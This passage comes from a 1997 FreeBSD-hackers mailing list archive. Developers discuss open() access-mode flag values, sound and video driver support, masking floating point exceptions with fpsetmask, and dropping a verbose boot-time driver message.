message, I'd should also note that I'd be > > the first to suggest that we should add a "special issues for -current > > and -stable users" to the FAQ it I didn't already know from bitter > > experience that people stopped reading the FAQ long ago (this probably > > not even being entirely their fault since there have been long periods > > where this resource was essentially so stale as to be untrustworthy). > [.....] > > I'll take a look at improving it then. I've recently tried to revive > it a bit already.... > > Everything needs a FAQ :-) I've often thought that a very small FAQ, maybe on page with a URL for detailed information, should be posted to each list each week. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Oct 11 15:02:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA12511 for hackers-outgoing; Sat, 11 Oct 1997 15:02:02 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA12491 for ; Sat, 11 Oct 1997 15:01:57 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id PAA05910; Sat, 11 Oct 1997 15:01:49 -0700 (MST) From: Terry Lambert Message-Id: <199710112201.PAA05910@usr06.primenet.com> Subject: Re: Is this a bug, or just a feature. To: mdean@best.com (mdean) Date: Sat, 11 Oct 1997 22:01:49 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: from "mdean" at Oct 11, 97 02:16:52 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Shouldn't it be an error to call open("/dev/fd0", RD_ONLY|WR_ONLY,0)? > I guess if your device doesn't like being read-only and write-only then it > should look at oflags for itself? Or should this be caught at the syscall > and rejected? Do you mean O_RDONLY|O_WRONLY? These are not bit values: #define O_RDONLY 0x0000 /* open for reading only */ #define O_WRONLY 0x0001 /* open for writing only */ #define O_RDWR 0x0002 /* open for reading and writing */ (O_RDONLY|O_WRONLY) == O_WRONLY Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Oct 11 15:02:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA12535 for hackers-outgoing; Sat, 11 Oct 1997 15:02:08 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA12496 for ; Sat, 11 Oct 1997 15:01:58 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by innocence.interface-business.de (8.6.11/8.6.9) with UUCP id AAA14171 for freebsd-hackers@FreeBSD.ORG; Sun, 12 Oct 1997 00:01:54 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id XAA20104; Sat, 11 Oct 1997 23:59:39 +0200 (MET DST) Message-ID: <19971011235939.ZT01057@uriah.heep.sax.de> Date: Sat, 11 Oct 1997 23:59:39 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Is this a bug, or just a feature. References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from mdean on Oct 11, 1997 14:16:52 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As mdean wrote: > Shouldn't it be an error to call open("/dev/fd0", RD_ONLY|WR_ONLY,0)? It shouldn't. It sometimes help to look at the #definition for a particular macro... like O_RDONLY (which i think is what you actually mean). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Oct 11 15:56:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA16183 for hackers-outgoing; Sat, 11 Oct 1997 15:56:53 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA16178 for ; Sat, 11 Oct 1997 15:56:49 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id PAA14442; Sat, 11 Oct 1997 15:54:48 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id PAA01289; Sat, 11 Oct 1997 15:54:47 -0700 (PDT) Date: Sat, 11 Oct 1997 15:54:46 -0700 (PDT) From: mdean To: Terry Lambert cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Is this a bug, or just a feature. In-Reply-To: <199710112201.PAA05910@usr06.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Sorry, I was confused I meant open ("/dev/fd0", O_RDWR|O_WRONLY, 0); which gives a valid descriptor when executed(and a disk is in the drive) O_RDWR+O_WRONLY = O_ACCMODE which I am at least using to mask the oflags and running the remaining bits through a switch statement checking for O_RDONLY , O_RDWR, O_WRONLY (for this particular device these actually matter, I am using them to determine the direction of the port for some control regs) so at the end of the switch i have a default: return (EPERM); since having O_RDONLY and O_RDWR set at the same time is meaningless (they are mutually exclusive for me). I was just suprised this isn't caught before it gets passed to the driver. On Sat, 11 Oct 1997, Terry Lambert wrote: > > Shouldn't it be an error to call open("/dev/fd0", RD_ONLY|WR_ONLY,0)? > > I guess if your device doesn't like being read-only and write-only then it > > should look at oflags for itself? Or should this be caught at the syscall > > and rejected? > > Do you mean O_RDONLY|O_WRONLY? > > These are not bit values: > > #define O_RDONLY 0x0000 /* open for reading only */ > #define O_WRONLY 0x0001 /* open for writing only */ > #define O_RDWR 0x0002 /* open for reading and writing */ > > (O_RDONLY|O_WRONLY) == O_WRONLY > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > From owner-freebsd-hackers Sat Oct 11 17:00:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA17913 for hackers-outgoing; Sat, 11 Oct 1997 17:00:00 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr07.primenet.com (tlambert@usr07.primenet.com [206.165.6.207]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA17908 for ; Sat, 11 Oct 1997 16:59:56 -0700 (PDT) (envelope-from tlambert@usr07.primenet.com) Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id QAA11116; Sat, 11 Oct 1997 16:59:53 -0700 (MST) From: Terry Lambert Message-Id: <199710112359.QAA11116@usr07.primenet.com> Subject: Re: Is this a bug, or just a feature. To: mdean@best.com (mdean) Date: Sat, 11 Oct 1997 23:59:53 +0000 (GMT) Cc: tlambert@primenet.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "mdean" at Oct 11, 97 03:54:46 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Sorry, I was confused I meant > open ("/dev/fd0", O_RDWR|O_WRONLY, 0); > which gives a valid descriptor when executed(and a disk is in the drive) Yes. A descriptor with a flag value of "1" (0x0002|0x0001) == 3... and a file flags value of 4. I don't understand how this could be "caught", since the value of manifest constant arithmatic is constant, and therefore computed at compile time. The point of these values is historical compatability. Many older programs do not use defined manifest values, and instead use constant 0, 1, or 2. Once in the open code in the kernel, the FFLAGS() macro is called on the value. The point of masking at 3 is that the values 0, 1, 2 won't overflow two bits if you add one: the become 1, 2, and 3. The correspond to FREAD, FWRITE, and FREAD|FWRITE, respectively. If you give a constant value of 3, then you overflow to 4. Basically, O_NONBLOCK. > O_RDWR+O_WRONLY = O_ACCMODE which I am at least using to mask the oflags > and running the remaining bits through a switch statement checking for > O_RDONLY , O_RDWR, O_WRONLY (for this particular device these actually > matter, I am using them to determine the direction of the port for some > control regs) so at the end of the switch i have a default: return (EPERM); > since having O_RDONLY and O_RDWR set at the same time is meaningless (they > are mutually exclusive for me). I was just suprised this isn't caught > before it gets passed to the driver. Because this is effectively a lame bit encoding for open modes to bits 0 and 1 of the flags, I suppose you could mask the value and check for a constant 3, and fail the open. This seems to be overkill to me, since you are not allowed to pass in any of O_RDONLY, O_WRONLY, and O_RDWR combinations by definition of the interface. In your driver, you will be using FREAD/FWRITE bit tests, anyway. The worst effect this should possibly have is badly coded programs that violate the interface definition will send down "O_NONBLOCK" for file flags and set neither FREAD or FWRITE (which you can detect by anding flags with three to test for non-zero). > > > Shouldn't it be an error to call open("/dev/fd0", RD_ONLY|WR_ONLY,0)? You mean "to pass a 3 as the flags value to open"? I don't think it's very useful, but it's not an error, I don't think. I suppose you could still use the fd for an fchdir, in fact. I could see passing a 3 to get a 4 and using an fcntl to unset non-blocking I/O... there could be a number of reasons you'd want a decriptor that referenced an object, yet could not be read or written. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Oct 11 17:34:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA19079 for hackers-outgoing; Sat, 11 Oct 1997 17:34:41 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA19072 for ; Sat, 11 Oct 1997 17:34:39 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id RAA22059; Sat, 11 Oct 1997 17:32:45 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id RAA08394; Sat, 11 Oct 1997 17:32:44 -0700 (PDT) Date: Sat, 11 Oct 1997 17:32:44 -0700 (PDT) From: mdean To: Terry Lambert cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Is this a bug, or just a feature. In-Reply-To: <199710112359.QAA11116@usr07.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I don't understand how this could be "caught", since the value of > manifest constant arithmatic is constant, and therefore computed > at compile time. If you wanted to catch this, i'd say apply the O_ACCMODE mask and look for threes. I thought that you could catch it when oflags are passed in for the open, but I guess if a user wants to pass a 3, and exploit the side effect that you get a non blocking file that is not read or write, I guess that is their right. But for me since I must know whether they want to read or write the device (in order to configure it) that is an error situation. Just not one that you would expect to happen, but I guess it is ok. From owner-freebsd-hackers Sat Oct 11 17:36:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA19166 for hackers-outgoing; Sat, 11 Oct 1997 17:36:09 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA19161; Sat, 11 Oct 1997 17:36:06 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id RAA00404; Sat, 11 Oct 1997 17:36:00 -0700 (PDT) Message-Id: <199710120036.RAA00404@rah.star-gate.com> To: smpatel@prognet.com cc: Bakul Shah , multimedia@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: RealVideo-5.0 and FreeBSD In-reply-to: Your message of "Tue, 07 Oct 1997 15:28:25 EDT." <199710071928.PAA13338@chai.torrentnet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 17:36:00 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Our sound driver API is the linux sound driver 3.5. What is currently on 2.2 and 3.0 is the linux sound driver 3.0. The guspnp series of sound driver which I have been supporting for over a year is the linux sound driver 3.5 plus some hacks like support of user land dma I/O which is mostly used for applications such as Quake. Luigi's sound driver eventually will be linux sound driver 3.5 compliant right now is not. It is a huge task and is going rather well so if you are a sound driver level hacker now is a good time to join and make a difference rather than later bitching about it. If you have a commercial product then I suggest to just get the OSS sound driver : http://www.4front-tech.com/ This just means that while we are in the process of rebuilding the sound driver you have the option *today* of coding up to the API . With the respect to the video capture there is no reason that I can think of why RealNetworks is not supporting the Bt848 driver. If you guys have specific issues just mail me . Currently, the Bt848 driver is available for FreeBSD 2.2 and FreeBSD 3.0 -current with no change in the driver. You can also you check out our new Bt848 driver web page: http://www.freebsd.org/~ahasty/Bt848.html I know this is not related however right now we (the multimedia group) are really having a ball with Randall Hopper's fxtv : http://multiverse.com/~rhh/fxtv Excerpt from the announcement: " HIGHLIGHTS: Video Window Annotation for changes in Station, Input Device, Tuner Mode, Volume, and Mute should make it more enjoyable to surf when zoomed full-screen. " Additionally it can generate mpeg files (non-realtime). Regards, Amancio >From The Desk Of Bakul Shah : > Amancio, RealVideo-5.0 beta for FreeBSD is due out RSN. When > I queried, Sujal Patel said he will spit out the port in a > week or two that'll work with 2.2.5. I suspect he will need > your help in making sure the *right thing* (TM) gets done. > It would be a real boon if RV5.0 works out of the box with > FreeBSD-2.2.5! You can reach Sujal at smpatel@real.com. > You can tell him I asked you to bug him :-) > > I am a bit unclear about which driver will end up being the > official FreeBSD one in 2.2.5 and feel you are the best > person to guide RealNetwork (aka Progressive Networks) on > this! I think from a commercial point of view what'll help > is if you (multimedia guys) can settle on an interface that > your as well as Luigi's driver can adhere to. From owner-freebsd-hackers Sat Oct 11 19:25:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA23006 for hackers-outgoing; Sat, 11 Oct 1997 19:25:05 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA22998 for ; Sat, 11 Oct 1997 19:25:02 -0700 (PDT) (envelope-from andrew@zeta.org.au) Received: from gurney.reilly.home (d29.syd2.zeta.org.au [203.26.11.29]) by godzilla.zeta.org.au (8.8.5/8.6.9) with ESMTP id MAA10215; Sun, 12 Oct 1997 12:24:24 +1000 Received: (from andrew@localhost) by gurney.reilly.home (8.8.7/8.8.5) id MAA00970; Sun, 12 Oct 1997 12:23:14 +1000 (EST) From: Andrew Reilly Message-Id: <199710120223.MAA00970@gurney.reilly.home> Date: Sun, 12 Oct 1997 12:23:13 +1000 (EST) Subject: Re: Floating point exceptions To: tlambert@primenet.com cc: reilly@zeta.org.au, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710110715.AAA17411@usr04.primenet.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 11 Oct, Terry Lambert wrote: >> > Fix: Correct the code to not generate exceptions >> >> This is just plain rude. There are a bunch of exceptions that are Sorry about that. I was out of line. In my defence, it was over 32 degrees C in my office yesterday afternoon. Scorcher. > Actually, I find this strange. It kind of assumes that all hardware has > equivalent precision. I can guarantee you that code that works fine > on UniCOS will have problems on an Intel-based PC if it expects 128 bit > precision. 8-(. Well, in this case the code was written with the deliberate understanding that the precision would vary between implementations. Continual scaling ensures that we are getting the maximum dynamic range where it counts, and differences in round-off characteristics results in recognition accuracy variations of a small fraction of a percent across the architectures that it has been run on so far. I take your point, though. It would be easy for this to be a real error, and it would be good to know about it. In this case, the correct fix was to ignore the exception, because that was the original intent of the maths. What caught me off guard was that FreeBSD was the first of about six platforms that signalled this particular exception. The DSP platforms saturate or underflow to zero, and the other Unix platforms must have had this exception masked by default. > To me, this was not a rude response. An exception where an exception > was not an intended result of the calculation is an exception that is > not masked, to my mind, and a useful indicator that all is not right with > the code. It was certainly not intended as a rude remark. I think that it is my problem that I take exception to some of the IEEE floating point semantics: perhaps it is a good thing to try to make a countable, auto-scaling (within a limited range) numeric representation behave more like the set of reals in some cases. I prefer to think of floats as scaled integers, and I get caught out with some of the modern twists. > I think it's better to get an error than to get non-obviously erroneous > results (the alternative). But I am a physics geek at heart, so maybe > I am biased toward useful answers and ugly exceptions vs. useless answers > and no exceptions... depends on your idea of "useless", I suppose... Most of my audio DSP work takes place on fixed-point processors, where the notion of "full scale" and the associated noise floor are ever present. I expect that if I multiply two small, non-zero numbers together the result will sometimes be zero. To me, this is not a useless, or even a wrong result, in the context of a known dynamic range. >> > fpsetmask( 0); >> >> Is there >> a pointer to fpsetmask in any other manual page? > > To be honest, I knew the general name of the function off the top of > my head (I do a lot of event simulation), and I used man -k setmask to > find the specific name. But it is referenced in floatingpoint.h by > prototype... and that header is referenced by most of the FP functions. Given that FreeBSD's behaviour is different from other systems in this regard, perhaps this warrants a pointer in the handbook or FAQ? >> > Worst fix: signal( SIGFPE, SIG_IGN); >> >> Very bad fix, because when I tried it, it just didn't work. I assume >> that the trap handler does not correctly restore the floating point >> state. The program ran to completion, but IEEE error values >> of some sort propagated from the exception point and ruined the results. > > The point of the handler is to localise the errors. Mask those which are > intentional, and fix those that aren't on a case-by-case basis. I had a > number of precision fixes to 21 year old FORTRAN code that resulted from > getting exceptions thrown like this. This is a good strategy. I just didn't know the mechanism for the masking when the error occurred. I do think that it is unfortunate that ignoring the SIGFPE, as described above, does /not/ have the same effect as masking the exception. > An interesting application; you'll note it falls into my "signal processing" > bucket which I designated as a bad thing to need to fix because of the > need for repeatability... I'm not sure what you mean by this comment. Certainly there are audio DSP applications where you would hope for complete repeatability, but speech recognition with HMMs is a stochastic process, and rounding errors in the calculations are not significantly different from noise in the input signal. How about this for an example of non-repeatability: One of the first ports of this code was to a DSP card that used AT&T (now Lucent) DSP32C processors. The recogniser ran as a background (non/soft real time) process, while the signal was buffered in real time, in response to the frame interrupt. The DSP32C has 40-bit floating point accumulators (8 guard bits on the mantissa) and 32-bit memory, and no mechanism to save or restore those guard bits in the interrupt service routine... Talk about noise injection. We couldn't even get the same answer on consecutive runs on test files! Never the less, this did not affect the measured performance of the recogniser more than few tenths of a percent. > Look to the calculation immediately before the compare. That would be it. The previous instruction stored s as a 32-bit float, which would generate an underflow exception if not masked. I guess that if the '87 did not have extended precision floating point registers, then the exception would have occurred some time earlier, when the over precision result was generated. [description of lazy reporting of FP exceptions, and implications for SMP] >> > Continuing from SIGFPE handlers is much harder than masking FP exceptions, >> > at least on i386's. >> >> Yes. I tried doing a signal(SIGFPE,SIG_IGN) at the top of >> main, but that just made it produce totally incorrect results. > > The FPU registers are not saved (or restored) by signal handlers, which > are not expected to execute FPU instructions. If you will look at the > man page, there is actually a *lot* of calls which are not "safe" to use > from a signal handler, according to POSIX. Which man page? I just looked at kill(2) signal(3) and sigaction(2), and did not see a reference to this, although I do not doubt that such restrictions exist. Where in SIG_IGN are floating point instructions used? If there are none, why doesn't it work (i.e., why is the floating point state changed)? On the subject of saving registers on context switches, are there really so many Unix applications that do no floating point at all that it is worth differentiating them? Is it a characteristic of the Intel processors that you can set them to trap on the use of _any_ floating point instruction? -- Andrew "The steady state of disks is full." -- Ken Thompson From owner-freebsd-hackers Sat Oct 11 20:14:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA24955 for hackers-outgoing; Sat, 11 Oct 1997 20:14:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr03.primenet.com (tlambert@usr03.primenet.com [206.165.6.203]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA24940 for ; Sat, 11 Oct 1997 20:14:42 -0700 (PDT) (envelope-from tlambert@usr03.primenet.com) Received: (from tlambert@localhost) by usr03.primenet.com (8.8.5/8.8.5) id UAA05148; Sat, 11 Oct 1997 20:14:36 -0700 (MST) From: Terry Lambert Message-Id: <199710120314.UAA05148@usr03.primenet.com> Subject: Re: Floating point exceptions To: reilly@zeta.org.au (Andrew Reilly) Date: Sun, 12 Oct 1997 03:14:32 +0000 (GMT) Cc: tlambert@primenet.com, reilly@zeta.org.au, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710120223.MAA00970@gurney.reilly.home> from "Andrew Reilly" at Oct 12, 97 12:23:13 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > To me, this was not a rude response. An exception where an exception > > was not an intended result of the calculation is an exception that is > > not masked, to my mind, and a useful indicator that all is not right with > > the code. It was certainly not intended as a rude remark. > > I think that it is my problem that I take exception to some of the > IEEE floating point semantics: perhaps it is a good thing to try to > make a countable, auto-scaling (within a limited range) numeric > representation behave more like the set of reals in some cases. I > prefer to think of floats as scaled integers, and I get caught out > with some of the modern twists. I was nailed on the same thing converting some code from UniCOS to Solaris, actually (the opriginal code was not as careful as you). > >> Is there > >> a pointer to fpsetmask in any other manual page? > > > > To be honest, I knew the general name of the function off the top of > > my head (I do a lot of event simulation), and I used man -k setmask to > > find the specific name. But it is referenced in floatingpoint.h by > > prototype... and that header is referenced by most of the FP functions. > > Given that FreeBSD's behaviour is different from other systems in this > regard, perhaps this warrants a pointer in the handbook or FAQ? Honestly, it doesn't come up that often; it might be a FAQ, it might not. Actually, FreeBSD could do with some "porting notes". It would probably encourage porting (as well as fixing things like this). > This is a good strategy. I just didn't know the mechanism for the > masking when the error occurred. I do think that it is unfortunate > that ignoring the SIGFPE, as described above, does /not/ have the same > effect as masking the exception. I agree. I will look at it, but it has been a while since I've done anything in that area... there are other people who are much better suited to the task (Bruce Evans, for one). But if it hasn't gotten too complicated since the last time I looked, I will try to get you a patch some time next week, if no one beats me to it. The signal code doesn't save the FPU registers; it probably should for SIGFPE, actually. I'll have to look at the databook to see what the difference is between masked and exceptioned results. Actually, it may not maintain state internally on exception; Hmmm. Ugh. Maybe it can be reissued after masking... > > An interesting application; you'll note it falls into my "signal processing" > > bucket which I designated as a bad thing to need to fix because of the > > need for repeatability... > > I'm not sure what you mean by this comment. Certainly there are audio > DSP applications where you would hope for complete repeatability, but > speech recognition with HMMs is a stochastic process, and rounding > errors in the calculations are not significantly different from noise > in the input signal. Yes. What I ment was that if you aren't operating on a specific data set so that the errors were repeatable in exactly the same place, then you can't rigorously test a fix. I specifically picked signal processing because you can except out one time and not another based on what comes in an open mike. It depends on the architecture as to whether or not you can rerun the same data; a lot of these cheap sound cards, you can't. > How about this for an example of non-repeatability: One of the first > ports of this code was to a DSP card that used AT&T (now Lucent) DSP32C > processors. The recogniser ran as a background (non/soft real time) > process, while the signal was buffered in real time, in response to the > frame interrupt. The DSP32C has 40-bit floating point accumulators > (8 guard bits on the mantissa) and 32-bit memory, and no mechanism to > save or restore those guard bits in the interrupt service routine... > Talk about noise injection. We couldn't even get the same answer on > consecutive runs on test files! Never the less, this did not affect > the measured performance of the recogniser more than few tenths of a > percent. Heh. But how can you be sure to trigger the same underflow in repeated testing, if that's what you are looking for. 8-). You have to operate on digitally stored ("canned") test data known to trigger the bug. Even then, it'd be a bear with the coupling you describe. It's much harder to trigger bugs, especially if you are running an intentionally tolerant system. 8-). > > Look to the calculation immediately before the compare. > > That would be it. The previous instruction stored s as a 32-bit float, > which would generate an underflow exception if not masked. I guess > that if the '87 did not have extended precision floating point > registers, then the exception would have occurred some time earlier, > when the over precision result was generated. Whenever it was reported, it would be *after* the fact. 8-(. > > The FPU registers are not saved (or restored) by signal handlers, which > > are not expected to execute FPU instructions. If you will look at the > > man page, there is actually a *lot* of calls which are not "safe" to use > > from a signal handler, according to POSIX. > > Which man page? I just looked at kill(2) signal(3) and > sigaction(2), and did not see a reference to this, although > I do not doubt that such restrictions exist. Oops. My screw-up. It's actually in the POSIX standard itself where the calls not usable from a signal handler are listed. 8-(. I'll try to dig up the posting of the POSIX list (someone posted it a while back), and send a "please add to man page" message... > Where in SIG_IGN are floating point instructions used? If there are > none, why doesn't it work (i.e., why is the floating point state > changed)? Say you get a signal immediately before a context switch, and it's delivered when you are switched back in. If you do FPU stuff, you don't know what code caused the exception, and you trash exceptions in progress. The real problem is the difference in ending state for exceptional vs. masked handling (per above). > On the subject of saving registers on context switches, are there > really so many Unix applications that do no floating point at all that > it is worth differentiating them? Most of them don't do FP. > Is it a characteristic of the Intel processors that you can set them > to trap on the use of _any_ floating point instruction? I have to hit the databook to answer that one. Since it's packed, I won't know until late next weeek, at the earliest. 8-(. Out of curiosity, are you unmasking the error condition after the code where it's expected so that unexpected errors are not also masked? I know it's more instructions. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Oct 11 20:32:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA25623 for hackers-outgoing; Sat, 11 Oct 1997 20:32:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA25618 for ; Sat, 11 Oct 1997 20:32:46 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id UAA12641 for ; Sat, 11 Oct 1997 20:32:02 -0700 (PDT) To: hackers@freebsd.org Subject: fnord0: disabled, not probed. Date: Sat, 11 Oct 1997 20:32:02 -0700 Message-ID: <12637.876627122@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If memory serves me correctly, I'm actually responsible for this often-seen boot-time message and, if so, just let me be the first to say that I've begun to hate the stupid thing. If I've gone and disabled something in the userconfig menu then I *know* I disabled it and I really don't need the driver to take up a line of valuable scroll-back buffer space in telling me what I already know. Were this eliminted, the boot messages would take up about half the space they do now and, being far more concise, would be much easier to scan for problems. The only conceivable counter-argument I can see concerns the psm0 entry which is disabled by default in the distributed GENERIC, it being a plausible argument that the "psm0: disabled, not probed." message at boot-time served as a much needed indicator of its disabled state should the user actually want to have it enabled. On the other hand, I seem to recall some folks also talking about the ps/2 mouse driver finally reaching a level of maturity where it could just be enabled by default, and I'd rather have that happen in any case if it's possible. That would leave just sio2 and sio3 disabled by default and, frankly, I think that anyone with 4 serial devices is going to need to be fairly PC-literate anyway, certainly enough to go check the userconfig settings whether prompted to do so or not. So what do folks think, can I kill it? [he said already knowing that at least one dissenting vote will come from bde, great champion of chatty kernels that he is. ;-)] Jordan From owner-freebsd-hackers Sat Oct 11 21:05:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA26806 for hackers-outgoing; Sat, 11 Oct 1997 21:05:30 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA26750 for ; Sat, 11 Oct 1997 21:04:01 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id NAA00975; Sun, 12 Oct 1997 13:30:59 +0930 (CST) Message-Id: <199710120400.NAA00975@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Jordan K. Hubbard" cc: hackers@freebsd.org Subject: Re: fnord0: disabled, not probed. In-reply-to: Your message of "Sat, 11 Oct 1997 20:32:02 MST." <12637.876627122@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 12 Oct 1997 13:30:54 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > The only conceivable counter-argument I can see concerns the psm0 > entry which is disabled by default in the distributed GENERIC, it > being a plausible argument that the "psm0: disabled, not probed." > message at boot-time served as a much needed indicator of its disabled > state should the user actually want to have it enabled. On the other > hand, I seem to recall some folks also talking about the ps/2 mouse > driver finally reaching a level of maturity where it could just be > enabled by default, and I'd rather have that happen in any case if > it's possible. Nate did this at least in -current a few days back. I've never had any grief with the new split-architecture keyboard driver, so I'd be happy to see this in 2.2.x as well. > So what do folks think, can I kill it? I'd say "yes". mike From owner-freebsd-hackers Sat Oct 11 22:27:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA29352 for hackers-outgoing; Sat, 11 Oct 1997 22:27:39 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA29347 for ; Sat, 11 Oct 1997 22:27:36 -0700 (PDT) (envelope-from hoek@hwcn.org) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id BAA24041; Sun, 12 Oct 1997 01:28:20 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id BAA18466; Sun, 12 Oct 1997 01:28:42 -0400 (EDT) 